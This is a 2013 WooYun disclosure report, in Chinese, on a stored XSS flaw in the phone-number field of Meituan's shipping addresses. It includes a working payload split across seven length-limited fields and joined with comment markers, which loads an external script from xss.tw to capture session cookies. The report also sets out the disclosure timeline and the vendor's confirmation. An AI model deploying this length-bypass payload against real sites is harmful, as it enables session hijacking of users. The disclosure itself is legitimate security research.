当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041630

漏洞标题:美团网存储型XSS一枚

相关厂商:美团网

漏洞作者: m00zh33

提交时间:2013-11-01 11:46

修复时间:2013-12-16 11:47

公开时间:2013-12-16 11:47

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-01: 细节已通知厂商并且等待厂商处理中
2013-11-01: 厂商已经确认,细节仅向厂商公开
2013-11-11: 细节向核心白帽子及相关领域专家公开
2013-11-21: 细节向普通白帽子公开
2013-12-01: 细节向实习白帽子公开
2013-12-16: 细节向公众公开

简要描述:

美团网存储型XSS一枚

详细说明:

美团这个利用有些难度,漏洞存在于账户信息的收货地址中,在电话号码输入栏里未作过滤,但是限制了长度,只接受20个字符,所以利用起来需要花费些周折,
主要是利用了html的注释符号“/**/”,拼接xss payload
先在本地测试,

<html><body>
<td>9<script>a="d"/*</td>
<td>9*/+"ocument.wri"+/*</td>
<td>9*/"te('<script "+/*</td>
<td>9*/"src=http://x"+/*</td>
<td>9*/"ss.tw/4677><"+/*</td>
<td>9*/"\/script>')";/*</td>
<td>9*/eval(a)</script></td><html><body>


测试成功
一共需要添加7条收货地址,在添加地址时,电话号码使用13112341234作为占位,新建完成后,从最后一条地址开始编辑,在电话号码栏输入对应代码
7条地址的电话号码分别输入对应上述代码,一定要从后往前编辑,因为html的注释"/*"会注释掉后面的代码
编辑完后如下图:

Screen Shot 2013-10-31 at 9.50.09 PM.png


源代码如下:

1.png


2.png


3.png


4.png


漏洞证明:

获取到的cookie

Screen Shot 2013-10-31 at 10.21.35 PM.png

修复方案:

过滤
@wooyun,这下写得够详细的了吧,能整明白了不,再审核不过,我就只能呵呵了

版权声明:转载请注明来源 m00zh33@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-11-01 12:02

厂商回复:

感谢,正在处理中。

最新状态:

暂无